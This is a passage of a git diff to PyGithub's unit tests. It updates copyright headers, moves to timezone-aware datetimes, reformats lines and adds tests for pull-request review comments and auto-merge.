"https://api.github.com/projects/4294766", @@ -49,11 +52,11 @@ def testGetProjectColumn(self): ) self.assertEqual( self.get_project_column.created_at, - datetime.datetime(2020, 4, 13, 20, 29, 53), + datetime(2020, 4, 13, 20, 29, 53, tzinfo=timezone.utc), ) self.assertEqual( self.get_project_column.updated_at, - datetime.datetime(2020, 4, 14, 18, 9, 38), + datetime(2020, 4, 14, 18, 9, 38, tzinfo=timezone.utc), ) def testGetAllCards(self): diff --git a/tests/PublicKey.py b/tests/PublicKey.py index 807a7f5ddf..d7ce794d61 100644 --- a/tests/PublicKey.py +++ b/tests/PublicKey.py @@ -4,10 +4,18 @@ # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # -# Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # -# Copyright 2017 Simon # +# Copyright 2018 Alice GIRARD # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Chris Keating # +# Copyright 2021 MeggyCal # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -33,22 +41,18 @@ class PublicKey(Framework.TestCase): def testAttributes(self): self.public_key = self.g.get_user().get_repo("PyGithub").get_public_key() - self.assertEqual( - self.public_key.key, "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=" - ) - self.assertEqual(self.public_key.key_id, "123456789012345678") + self.assertEqual(self.public_key.key, "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=") + self.assertEqual(self.public_key.key_id, "568250167242549743") self.assertEqual( repr(self.public_key), - 'PublicKey(key_id="123456789012345678", key="u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=")', + 'PublicKey(key_id="568250167242549743", key="u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=")', ) def testAttributes_with_int_key_id(self): self.public_key = self.g.get_user().get_repo("PyGithub").get_public_key() - self.assertEqual( - self.public_key.key, "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=" - ) - self.assertEqual(self.public_key.key_id, 123456789012345678) + self.assertEqual(self.public_key.key, "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=") + self.assertEqual(self.public_key.key_id, 568250167242549743) self.assertEqual( repr(self.public_key), - 'PublicKey(key_id=123456789012345678, key="u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=")', + 'PublicKey(key_id=568250167242549743, key="u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=")', ) diff --git a/tests/PullRequest.py b/tests/PullRequest.py index a52dd3ca52..b366daefd9 100644 --- a/tests/PullRequest.py +++ b/tests/PullRequest.py @@ -9,7 +9,22 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 MarcoFalke # # Copyright 2018 Steve Kowalik # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 MarcoFalke # +# Copyright 2019 Mark Browning # +# Copyright 2019 Pavan Kunisetty # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Tim Gates # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Florent Clarret # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Heitor Polidoro <14806300+heitorpolidoro@users.noreply.github.com># +# Copyright 2023 Heitor Polidoro # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 vanya20074 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,7 +44,11 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone + +import pytest + +from github import GithubException from . import Framework @@ -37,7 +56,7 @@ class PullRequest(Framework.TestCase): def setUp(self): super().setUp() - self.repo = self.g.get_user().get_repo("PyGithub") + self.repo = self.g.get_repo("PyGithub/PyGithub") self.pull = self.repo.get_pull(31) marco_repo = self.g.get_repo("MarcoFalke/PyGithub", lazy=True) @@ -52,11 +71,11 @@ def setUp(self): def testAttributesIssue256(self): self.assertEqual( self.pullIssue256Closed.closed_at, - datetime.datetime(2018, 5, 22, 14, 50, 43), + datetime(2018, 5, 22, 14, 50, 43, tzinfo=timezone.utc), ) self.assertEqual( self.pullIssue256Merged.closed_at, - datetime.datetime(2018, 5, 22, 14, 53, 13), + datetime(2018, 5, 22, 14, 53, 13, tzinfo=timezone.utc), ) self.assertEqual(self.pullIssue256Conflict.closed_at, None) self.assertEqual(self.pullIssue256Uncached.closed_at, None) @@ -84,59 +103,55 @@ def testAttributesIssue256(self): def testAttributes(self): self.assertEqual(self.pull.additions, 511) self.assertEqual(self.pull.assignee.login, "jacquev6") - self.assertListKeyEqual( - self.pull.assignees, lambda a: a.login, ["stuglaser", "jacquev6"] - ) - self.assertEqual( - self.pull.base.label, "jacquev6:topic/RewriteWithGeneratedCode" - ) + self.assertListKeyEqual(self.pull.assignees, lambda a: a.login, ["jacquev6"]) + self.assertEqual(self.pull.base.label, "PyGithub:topic/RewriteWithGeneratedCode") self.assertEqual(self.pull.base.sha, "ed866fc43833802ab553e5ff8581c81bb00dd433") - self.assertEqual(self.pull.base.user.login, "jacquev6") + self.assertEqual(self.pull.base.user.login, "PyGithub") self.assertEqual(self.pull.base.ref, "topic/RewriteWithGeneratedCode") - self.assertEqual(self.pull.base.repo.full_name, "jacquev6/PyGithub") - self.assertEqual(self.pull.body, "Body edited by PyGithub") + self.assertEqual(self.pull.base.repo.full_name, "PyGithub/PyGithub") + self.assertEqual(self.pull.body, "Body edited by PyGithub\n") self.assertEqual(self.pull.changed_files, 45) - self.assertEqual(self.pull.closed_at, datetime.datetime(2012, 5, 27, 10, 29, 7)) + self.assertEqual( + self.pull.closed_at, + datetime(2012, 5, 27, 10, 29, 7, tzinfo=timezone.utc), + ) self.assertEqual(self.pull.comments, 1) self.assertEqual(self.pull.commits, 3) self.assertEqual( - self.pull.created_at, datetime.datetime(2012, 5, 27, 9, 25, 36) + self.pull.created_at, + datetime(2012, 5, 27, 9, 25, 36, tzinfo=timezone.utc), ) self.assertEqual(self.pull.deletions, 384) - self.assertEqual( - self.pull.diff_url, "https://github.com/jacquev6/PyGithub/pull/31.diff" - ) - self.assertEqual(self.pull.head.label, "BeaverSoftware:master") - self.assertEqual( - self.pull.html_url, "https://github.com/jacquev6/PyGithub/pull/31" - ) + self.assertEqual(self.pull.diff_url, "https://github.com/PyGithub/PyGithub/pull/31.diff") + self.assertEqual(self.pull.head.ref, "master") + self.assertEqual(self.pull.html_url, "https://github.com/PyGithub/PyGithub/pull/31") self.assertEqual(self.pull.id, 1436215) self.assertEqual( self.pull.issue_url, - "https://api.github.com/repos/jacquev6/PyGithub/issues/31", + "https://api.github.com/repos/PyGithub/PyGithub/issues/31", ) - self.assertListKeyEqual(self.pull.labels, lambda a: a.name, ["refactoring"]) + self.assertListKeyEqual(self.pull.labels, lambda a: a.name, []) self.assertFalse(self.pull.mergeable) self.assertFalse(self.pull.rebaseable) self.assertTrue(self.pull.merged) - self.assertEqual(self.pull.merged_at, datetime.datetime(2012, 5, 27, 10, 29, 7)) - self.assertEqual(self.pull.merged_by.login, "jacquev6") - self.assertEqual(self.pull.number, 31) self.assertEqual( - self.pull.patch_url, "https://github.com/jacquev6/PyGithub/pull/31.patch" + self.pull.merged_at, + datetime(2012, 5, 27, 10, 29, 7, tzinfo=timezone.utc), ) - self.assertEqual(self.pull.review_comments, 1) + self.assertEqual(self.pull.merged_by.login, "jacquev6") + self.assertEqual(self.pull.number, 31) + self.assertEqual(self.pull.patch_url, "https://github.com/PyGithub/PyGithub/pull/31.patch") + self.assertEqual(self.pull.review_comments, 2) self.assertEqual(self.pull.state, "closed") self.assertEqual(self.pull.title, "Title edited by PyGithub") self.assertEqual( - self.pull.updated_at, datetime.datetime(2012, 11, 3, 8, 19, 40) - ) - self.assertEqual( - self.pull.url, "https://api.github.com/repos/jacquev6/PyGithub/pulls/31" + self.pull.updated_at, + datetime(2018, 6, 25, 12, 54, 43, tzinfo=timezone.utc), ) + self.assertEqual(self.pull.url, "https://api.github.com/repos/PyGithub/PyGithub/pulls/31") self.assertEqual(self.pull.user.login, "jacquev6") - self.assertEqual(self.pull.draft, None) - self.assertEqual(self.pull.maintainer_can_modify, None) + self.assertEqual(self.pull.draft, False) + self.assertEqual(self.pull.maintainer_can_modify, False) self.assertEqual( repr(self.pull), 'PullRequest(title="Title edited by PyGithub", number=31)', @@ -149,22 +164,79 @@ def testAttributes(self): def testCreateComment(self): commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") - comment = self.pull.create_comment( - "Comment created by PyGithub", commit, "src/github/Issue.py", 5 + comment = self.pull.create_comment("Comment created by PyGithub", commit, "src/github/Issue.py", 5) + self.assertEqual(comment.id, 886298) + + def testCreateReviewCommentInReplyTo(self): + commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") + comment = self.pull.create_review_comment( + "Comment created by PyGithub", + commit, + "src/github/Issue.py", + 5, + in_reply_to=42, + ) + self.assertEqual(comment.id, 886298) + + def testCreateReviewCommentSubjectType(self): + commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") + comment = self.pull.create_review_comment( + "Comment created by PyGithub", + commit, + "src/github/Issue.py", + 5, + subject_type="file", + ) + self.assertEqual(comment.id, 886298) + + def testCreateMultilineReviewComment(self): + commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") + comment = self.pull.create_review_comment( + "Comment created by PyGithub", + commit, + "src/github/Issue.py", + 10, + start_line=5, + ) + self.assertEqual(comment.id, 886298) + + def testCreateMultilineReviewCommentAsSuggestion(self): + commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") + comment = self.pull.create_review_comment( + "Comment created by PyGithub", + commit, + "src/github/Issue.py", + 10, + start_line=5, + as_suggestion=True, + ) + self.assertEqual(comment.id, 886298) + self.assertEqual(comment.body, "```suggestion\nComment created by PyGithub\n```") + + def testCreateMultilineReviewCommentChoosingSide(self): + commit = self.repo.get_commit("8a4f306d4b223682dd19410d4a9150636ebe4206") + comment = self.pull.create_review_comment( + "Comment created by PyGithub", + commit, + "src/github/Issue.py", + 10, + start_line=5, + side="RIGHT", + start_side="RIGHT", ) self.assertEqual(comment.id, 886298) def testGetComments(self): - self.assertListKeyEqual(self.pull.get_comments(), lambda c: c.id, [886298]) + epoch = datetime(1970, 1, 1, 0, 0) + comments = self.pull.get_comments(sort="updated", direction="desc", since=epoch) + self.assertListKeyEqual(comments, lambda c: c.id, [197784357, 1580134]) def testCreateIssueComment(self): comment = self.pull.create_issue_comment("Issue comment created by PyGithub") self.assertEqual(comment.id, 8387331) def testGetIssueComments(self): - self.assertListKeyEqual( - self.pull.get_issue_comments(), lambda c: c.id, [8387331] - ) + self.assertListKeyEqual(self.pull.get_issue_comments(), lambda c: c.id, [8387331]) def testGetIssueComment(self): comment = self.pull.get_issue_comment(8387331) @@ -178,25 +250,19 @@ def testGetIssueEvents(self): ) def testGetReviewComments(self): - epoch = datetime.datetime(1970, 1, 1, 0, 0) - comments = self.pull.get_review_comments(since=epoch) - self.assertListKeyEqual(comments, lambda c: c.id, [238127783]) + epoch = datetime(1970, 1, 1, 0, 0) + comments = self.pull.get_review_comments(sort="updated", direction="desc", since=epoch) + self.assertListKeyEqual(comments, lambda c: c.id, [197784357, 1580134]) def testReviewRequests(self): - self.pull.create_review_request( - reviewers="sfdye", team_reviewers="pygithub-owners" - ) + self.pull.create_review_request(reviewers="sfdye", team_reviewers="pygithub-owners") review_requests = self.pull.get_review_requests() self.assertListKeyEqual(review_requests[0], lambda c: c.login, ["sfdye"]) - self.assertListKeyEqual( - review_requests[1], lambda c: c.slug, ["pygithub-owners"] - ) + self.assertListKeyEqual(review_requests[1], lambda c: c.slug, ["pygithub-owners"]) self.pull.delete_review_request(reviewers="sfdye") review_requests = self.pull.get_review_requests() self.assertEqual(list(review_requests[0]), []) - self.assertListKeyEqual( - review_requests[1], lambda c: c.slug, ["pygithub-owners"] - ) + self.assertListKeyEqual(review_requests[1], lambda c: c.slug, ["pygithub-owners"]) def testEditWithoutArguments(self): self.pull.edit() @@ -280,30 +346,24 @@ def testGetFiles(self): ) def testGetLabels(self): - self.assertListKeyEqual( - self.pull.get_labels(), lambda l: l.name, ["wip", "refactoring"] - ) + self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring"]) def testAddAndRemoveLabels(self): wip = self.repo.get_label("wip") refactoring = self.repo.get_label("refactoring") self.assertListKeyEqual( self.pull.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) self.pull.remove_from_labels(wip) - self.assertListKeyEqual( - self.pull.get_labels(), lambda l: l.name, ["refactoring", "improvement"] - ) + self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["refactoring", "improvement"]) self.pull.remove_from_labels(refactoring) - self.assertListKeyEqual( - self.pull.get_labels(), lambda l: l.name, ["improvement"] - ) + self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["improvement"]) self.pull.add_to_labels(wip, refactoring) self.assertListKeyEqual( self.pull.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) @@ -312,21 +372,17 @@ def testAddAndRemoveLabelsWithStringArguments(self): refactoring = "refactoring" self.assertListKeyEqual( self.pull.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) self.pull.remove_from_labels(wip) - self.assertListKeyEqual( - self.pull.get_labels(), lambda l: l.name, ["refactoring", "improvement"] - ) + self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["refactoring", "improvement"]) self.pull.remove_from_labels(refactoring) - self.assertListKeyEqual( - self.pull.get_labels(), lambda l: l.name, ["improvement"] - ) + self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["improvement"]) self.pull.add_to_labels(wip, refactoring) self.assertListKeyEqual( self.pull.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) @@ -335,30 +391,26 @@ def testDeleteAndSetLabels(self): refactoring = self.repo.get_label("refactoring") self.assertListKeyEqual( self.pull.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) self.pull.delete_labels() self.assertListKeyEqual(self.pull.get_labels(), None, []) self.pull.set_labels(wip, refactoring) - self.assertListKeyEqual( - self.pull.get_labels(), lambda l: l.name, ["wip", "refactoring"] - ) + self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring"]) def testDeleteAndSetLabelsWithStringArguments(self): wip = "wip" refactoring = "refactoring" self.assertListKeyEqual( self.pull.get_labels(), - lambda l: l.name, + lambda lb: lb.name, ["wip", "refactoring", "improvement"], ) self.pull.delete_labels() self.assertListKeyEqual(self.pull.get_labels(), None, []) self.pull.set_labels(wip, refactoring) - self.assertListKeyEqual( - self.pull.get_labels(), lambda l: l.name, ["wip", "refactoring"] - ) + self.assertListKeyEqual(self.pull.get_labels(), lambda lb: lb.name, ["wip", "refactoring"]) def testMerge(self): self.assertFalse(self.pull.is_merged()) @@ -373,16 +425,12 @@ def testMerge(self): ) def testMergeWithCommitMessage(self): - self.g.get_user().get_repo("PyGithub").get_pull(39).merge( - "Custom commit message created by PyGithub" - ) + self.repo.get_pull(39).merge("Custom commit message created by PyGithub") def testAddAndRemoveAssignees(self): user1 = "jayfk" user2 = self.g.get_user("jzelinskie") - self.assertListKeyEqual( - self.pull.assignees, lambda a: a.login, ["stuglaser", "jacquev6"] - ) + self.assertListKeyEqual(self.pull.assignees, lambda a: a.login, ["jacquev6"]) url = self.pull.url self.pull.add_to_assignees(user1, user2) self.assertListKeyEqual( @@ -392,13 +440,77 @@ def testAddAndRemoveAssignees(self): ) self.assertEqual(self.pull.url, url) self.pull.remove_from_assignees(user1, user2) - self.assertListKeyEqual( - self.pull.assignees, lambda a: a.login, ["jacquev6", "stuglaser"] - ) + self.assertListKeyEqual(self.pull.assignees, lambda a: a.login, ["jacquev6", "stuglaser"]) self.assertEqual(self.pull.url, url) def testUpdateBranch(self): - self.assertTrue( - self.pull.update_branch("addaebea821105cf6600441f05ff2b413ab21a36") - ) + self.assertTrue(self.pull.update_branch("addaebea821105cf6600441f05ff2b413ab21a36")) self.assertTrue(self.pull.update_branch()) + + def testEnableAutomerge(self): + # To reproduce this, the PR repository need to have the "Allow auto-merge" option enabled + response = self.pull.enable_automerge( + merge_method="SQUASH", + author_email="foo@example.com", + client_mutation_id="1234", + commit_body="body of the commit", + commit_headline="The commit headline", + expected_head_oid="0283d46537193f1fed7d46859f15c5304b9836f9", + ) + assert response == { + "data": { + "enablePullRequestAutoMerge": { + "actor": { + "avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", + "login": "heitorpolidoro", + "resourcePath": "/heitorpolidoro", + "url": "https://github.com/heitorpolidoro", + }, + "clientMutationId": None, + } + } + } + + def testEnableAutomergeDefaultValues(self): + # To reproduce this, the PR repository need to have the "Allow auto-merge" option enabled + # The default values are: + # - merge_method = "MERGE" + self.pull.enable_automerge() + + def testEnableAutomergeNotValidMergeMethod(self): + with pytest.raises(AssertionError): + self.pull.enable_automerge(merge_method="INVALID") + + def testEnableAutomergeError(self): + # To reproduce this, the PR repository need to have the "Allow auto-merge" option disabled + with pytest.raises(GithubException) as error: + self.pull.enable_automerge() + + assert error.value.status == 400 + assert error.value.data == { + "data": {"enablePullRequestAutoMerge": None}, + "errors": [ + { + "locations": [{"column": 81, "line": 1}], + "message": "Pull request Auto merge is not allowed for this repository", + "path": ["enablePullRequestAutoMerge"], + "type": "UNPROCESSABLE", + } + ], + } + + def testDisableAutomerge(self): + response = self.pull.disable_automerge() + assert response == { + "data": { + "disablePullRequestAutoMerge": { + "actor": { + "avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", + "login": "heitorpolidoro", + "resourcePath": "/heitorpolidoro", + "url": "https://github.com/heitorpolidoro", + }, + "clientMutationId": None, + } + } + } diff --git a/tests/PullRequest1168.py b/tests/PullRequest1168.py index 3570500567..ee2e43dc6a 100644 --- a/tests/PullRequest1168.py +++ b/tests/PullRequest1168.py @@ -1,6 +1,20 @@ ############################ Copyrights and license ############################ # # -# Copyright 2019 Olof-Joachim Frahm # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # +# Copyright 2018 sfdye # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -26,9 +40,7 @@ class PullRequest1168(Framework.TestCase): def setUp(self): super().setUp() - self.notifications = self.g.get_repo("PyGithub/PyGithub").get_notifications( - all=True - ) + self.notifications = self.g.get_repo("PyGithub/PyGithub").get_notifications(all=True) def testGetPullRequest(self): p = self.notifications[0].get_pull_request() diff --git a/tests/PullRequest1169.py b/tests/PullRequest1169.py index dd7730d38c..36fdc774c3 100644 --- a/tests/PullRequest1169.py +++ b/tests/PullRequest1169.py @@ -1,6 +1,20 @@ ############################ Copyrights and license ############################ # # -# Copyright 2019 Olof-Joachim Frahm # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/PullRequest1375.py b/tests/PullRequest1375.py index 21a698368d..986b987b8a 100644 --- a/tests/PullRequest1375.py +++ b/tests/PullRequest1375.py @@ -1,6 +1,20 @@ ############################ Copyrights and license ############################ # # -# Copyright 2019 Olof-Joachim Frahm # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # +# Copyright 2018 sfdye # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -34,9 +48,7 @@ def testCreateReviewCommentReply(self): second_reply_body = "Second comment reply created by PyGithub" first_reply = self.pr.create_review_comment_reply(comment_id, first_reply_body) - second_reply = self.pr.create_review_comment_reply( - first_reply.id, second_reply_body - ) + second_reply = self.pr.create_review_comment_reply(first_reply.id, second_reply_body) # ensure both first and second reply have `in_reply_to_id` attr set to top comment self.assertEqual(first_reply.in_reply_to_id, comment_id) diff --git a/tests/PullRequest1682.py b/tests/PullRequest1682.py index 29006b8c4d..095ca77c42 100644 --- a/tests/PullRequest1682.py +++ b/tests/PullRequest1682.py @@ -1,56 +1,71 @@ -############################ Copyrights and license ############################ -# # -# Copyright 2020 Victor Zeng # -# # -# This file is part of PyGithub. # -# http://pygithub.readthedocs.io/ # -# # -# PyGithub is free software: you can redistribute it and/or modify it under # -# the terms of the GNU Lesser General Public License as published by the Free # -# Software Foundation, either version 3 of the License, or (at your option) # -# any later version. # -# # -# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # -# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # -# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # -# details. # -# # -# You should have received a copy of the GNU Lesser General Public License # -# along with PyGithub. If not, see . # -# # -################################################################################ - -from . import Framework - - -class PullRequest1682(Framework.TestCase): - def setUp(self): - super().setUp() - self.repo = self.g.get_repo("ReDASers/Phishing-Detection") - - def test_no_parameters(self): - runs = self.repo.get_workflow_runs() - self.assertEqual(313400760, runs[0].id) - - def test_object_parameters(self): - branch = self.repo.get_branch("adversary") - runs = self.repo.get_workflow_runs(branch=branch) - self.assertEqual(204764033, runs[0].id) - self.assertEqual(1, runs.totalCount) - - user = self.g.get_user("shahryarabaki") - runs = self.repo.get_workflow_runs(actor=user) - self.assertEqual(28372848, runs[0].id) - - def test_string_parameters(self): - runs = self.repo.get_workflow_runs(actor="xzhou29") - self.assertEqual(226142695, runs[0].id) - - runs = self.repo.get_workflow_runs(branch="API_Flatten") - self.assertEqual(287515889, runs[0].id) - - runs = self.repo.get_workflow_runs(event="pull_request") - self.assertEqual(298867254, runs[0].id) - - runs = self.repo.get_workflow_runs(status="failure") - self.assertEqual(292080359, runs[0].id) +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # +# Copyright 2018 sfdye # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Victor Zeng # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from . import Framework + + +class PullRequest1682(Framework.TestCase): + def setUp(self): + super().setUp() + self.repo = self.g.get_repo("ReDASers/Phishing-Detection") + + def test_no_parameters(self): + runs = self.repo.get_workflow_runs() + self.assertEqual(313400760, runs[0].id) + + def test_object_parameters(self): + branch = self.repo.get_branch("adversary") + runs = self.repo.get_workflow_runs(branch=branch) + self.assertEqual(204764033, runs[0].id) + self.assertEqual(1, runs.totalCount) + + user = self.g.get_user("shahryarabaki") + runs = self.repo.get_workflow_runs(actor=user) + self.assertEqual(28372848, runs[0].id) + + def test_string_parameters(self): + runs = self.repo.get_workflow_runs(actor="xzhou29") + self.assertEqual(226142695, runs[0].id) + + runs = self.repo.get_workflow_runs(branch="API_Flatten") + self.assertEqual(287515889, runs[0].id) + + runs = self.repo.get_workflow_runs(event="pull_request") + self.assertEqual(298867254, runs[0].id) + + runs = self.repo.get_workflow_runs(status="failure") + self.assertEqual(292080359, runs[0].id) diff --git a/tests/PullRequest1684.py b/tests/PullRequest1684.py index 10bbe105ba..b9489ea9dc 100644 --- a/tests/PullRequest1684.py +++ b/tests/PullRequest1684.py @@ -1,68 +1,83 @@ -############################ Copyrights and license ############################ -# # -# Copyright 2020 Victor Zeng # -# # -# This file is part of PyGithub. # -# http://pygithub.readthedocs.io/ # -# # -# PyGithub is free software: you can redistribute it and/or modify it under # -# the terms of the GNU Lesser General Public License as published by the Free # -# Software Foundation, either version 3 of the License, or (at your option) # -# any later version. # -# # -# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # -# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # -# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # -# details. # -# # -# You should have received a copy of the GNU Lesser General Public License # -# along with PyGithub. If not, see . # -# # -################################################################################ - -from . import Framework - - -class PullRequest1684(Framework.TestCase): - def setUp(self): - super().setUp() - self.user = self.g.get_user("ReDASers") - self.repo = self.user.get_repo("Phishing-Detection") - - def testGetRunners(self): - runners = self.repo.get_self_hosted_runners() - self.assertEqual(19, runners.totalCount) - runner = runners[0] - self.assertEqual(1363, runner.id) - self.assertEqual("windows", runner.os) - self.assertEqual("0D80B14DC506", runner.name) - self.assertEqual("offline", runner.status) - self.assertFalse(runner.busy) - labels = runner.labels() - self.assertEqual(3, len(labels)) - self.assertEqual("self-hosted", labels[0]["name"]) - self.assertEqual("Windows", labels[1]["name"]) - self.assertEqual("X64", labels[2]["name"]) - - def testDeleteRunnerObject(self): - runners = self.repo.get_self_hosted_runners() - initial_length = runners.totalCount - runner_to_delete = runners[0] - - result = self.repo.remove_self_hosted_runner(runner_to_delete) - self.assertTrue(result) - - runners = self.repo.get_self_hosted_runners() - ids = [runner.id for runner in self.repo.get_self_hosted_runners()] - self.assertEqual(initial_length - 1, runners.totalCount) - self.assertNotIn(runner_to_delete.id, ids) - - def testDeleteRunnerId(self): - ids = [runner.id for runner in self.repo.get_self_hosted_runners()] - id_to_delete = ids[0] - - result = self.repo.remove_self_hosted_runner(id_to_delete) - self.assertTrue(result) - - ids = [runner.id for runner in self.repo.get_self_hosted_runners()] - self.assertNotIn(id_to_delete, ids) +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # +# Copyright 2018 sfdye # +# Copyright 2019 Olof-Joachim Frahm (欧雅福) # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Victor Zeng # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # 